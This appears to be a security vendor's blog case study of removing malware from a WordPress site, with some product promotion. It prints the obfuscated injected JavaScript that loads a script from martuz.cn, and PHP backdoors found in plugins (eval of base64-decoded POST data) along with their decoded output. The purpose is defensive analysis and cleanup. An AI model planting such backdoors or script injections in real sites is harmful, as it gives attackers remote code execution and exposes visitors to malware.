Removing Malware From a WordPress Blog – Case Study

This post is very specific to one type of infection. There are many different types of WordPress infections and symptoms, do not be discouraged if the scenario does not fit your situation. You can also follow the instructions in our new guide to cleaning a hacked WordPress site.

Early this week we were hired to remove some malware from a quite popular website. The malicious code was there for a little while and the site got blacklisted by google. That’s how the owner noticed it.

Every time someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly “Reported Attack Site” message would show up.

Uh-oh, not good for a site owner that makes money with ads and can’t afford losing users. If they had been using our web-based integrity monitor or recognized the early symptoms of a hacked site, that would not have happened, but since they didn’t, now it was time to fix the problem.

Remember, no matter what CMS your site runs on, be it WordPress, Joomla, Drupal or something else, we can help fix and prevent malware on your website.

1. Understanding the Problem

The first thing we did was to look where and how the code was showing up. We used a simple dump tool to see the source page (lynx is a command-line tool available on most Linux systems):

$lynx --source --dump [siteinquestion]

It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):

(function(){var OgDs=’%’;var FJQr=(‘v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on()+_
22_2cj_3d… _64ex_4ff(_22Chrome_22_29_3c0)_26_26(u_2ei_6ede_78_4ff
(_22_57_69_6e_22)_3e0).._3b_7d’).replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

We also used our site scanner (free) and it confirmed that it was indeed malicious.

2. Analyzing the JavaScript

There are multiple ways to analyze malicious JavaScript, and we chose the easier one. We see that they added an escaped JavaScript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final “eval” function for the “alert” one. Now, instead of executing the code, it will print it.

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")
<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")
<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("src=//martu"+"z.cn/vid</ script>");}

So, the unescaped code loads another script from the site martuz.cn. After searching a bit, this seems to be an old attack (from mid-2009), that somehow is still running around. The martuz.cn site is now unreachable, so the good news is that the attack is not doing anything against the users.

3. Cleaning up WordPress

Once we found what the code was and what it was doing, now it was time to remove it from the site. That’s what we did:

1. Backup the whole WordPress database (using the Export tool and via an SQL dump).
2. Back the whole WordPress directory for analysis and removed it from the site.
3. Changed all passwords, unused accounts, and services and cleaned up the box.
4. Reinstalled WordPress from scratch (last version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).
5. Worked with Google to get the site removed from their blacklist.

4. Analysis of the Malware

Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their WordPress version and the original one (they were on version 2.8):

$ diff -r -i --strip-trailing-cr -b -B sitedump/public_html wordPress
 Only in sitedump/public_html/wp-content/plugins: multi-level-navigation-plugin1
 Only in sitedump/public_html/wp-content/plugins: order-categories
 Only in sitedump/public_html/wp-content/plugins: seo-automatic-links
 Only in sitedump/public_html/wp-content/plugins: wp-contact-form
 Only in sitedump/public_html/wp-content/plugins: wp-db-backup

We also did a diff between the original theme and the one they used and no major changes were found. With that, it was clear to us that the problem was in one of the plugins.

We started by searching for that javascript code in the plugins directory and nothing was returned. That means that the code was probably escaped (hidden) in some way. So we searched for base64_decode or eval (PHP functions generally used by malware authors):

multi-level-navigation-plugin1/images/image.php:< ? php
eval (base64_decode(
"aWYo..IzMDM4MmUzMjMxMzIzYTY0Njk2ODY1NzQ2MTc
yNjkzYTYyNzQ2YzY0NmY3YTY1NzInOw==')); ?>
 multi-level-navigation-plugin1/images/  gifimg.php:< ? php eval base64_decode("aWY oaXNzZX..zZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw== ; ?>
 wp-db-backup/wp-db-backup.php:< ? php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval (
$_POST['tmp_lkojfghx3']);
if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcml
wdCBsYW5ndWFnZT1qYXZhc..2NyaXB0PjwhLS0gCPC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#< script(.*?)#is',$s,$a))foreach($a[0] as $v)if(count(explode("n",$v))>5){$e=preg_match('#['"][^s'".,;?![]:/
()]{30,}#',$v)||preg_match('#[([](s*d+,){20,}#',$v);if((preg_match('#bevalb#',$v)&&($e||strpos($v,"fromCharCode')))||($e&&strpos;($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#< script language=javascript>< !-- n(function(.+?n -->#','',$s);if(stristr($s,'< body'))$s=preg_replace('#(s*< body)#mi',TMP_XHGFJOKL.'1',$s1);elseif(($s1!=$s)||stristr($s,' < /body')||stristr($s,'< /title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl']
,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start("tmp_lkojfghx');for($i=0;$

So, these the files wp-db-backup/wp-db-backup.php, image.php and gifimg.php had possibly something hidden. To analyze the code, we did the same thing we did with JavaScript. We modified the eval function for echo to see what it was doing. On the wp-db-backup.php file we removed the encoded string and decoded it externally using the base64 command line tool:

$ php multi-level-navigation-plugin1/images/ image.php
 if(isset($_POST['e']))eval ( base64_decode (
 $_POST["e']));echo '32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572';
 $ php multi-level-navigation-plugin1 /images/  gifimg.php
 if(isset($_POST["e']))eval (base64_decode(
 $_POST['e']));

Analysis for the wp-db-backup.php:

echo "PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ" | base64 -d
 < script language=javascript>>!--
 (function(){var OgDs='%';var FJQr=('v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr
 _69pt_20src_3d_2f_2f_&nbsp...6da_72_74_75_22+_22_7a_2ec_6e_2f_76_69d_2f_3fid_
 3d_22_2bj+_22_3e_3c_5c_2fscript_3e_22)_3b_7d').r
 eplace (/_/g,OgDs);var NF1=unescape(FJQr); eval (NF1)})();

So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.

Lessons Learned

• First, always monitor your systems. If they had a HIDS (heuristic intrusion detection system) installed, like the open source OSSEC, it would have detected the modification on those files.
• Second, if they had used a web-based integrity monitor this problem would be detected way earlier too.
• Third: Keep your log files stored longer. Our analysis was not as completed, because we couldn’t go back in time to see when it happened.
• Lastly, keep your WordPress updated and use strong passwords! That’s your first line of defense to avoid these problems.

If this scenario did not match yours and you require professional support feel free to look into our Website Antivirus product.

For DIY solutions, you can check your website via our free Online Security scanner (SiteCheck) or check out our latest guide to cleaning a hacked WordPress site

Read the Guide Now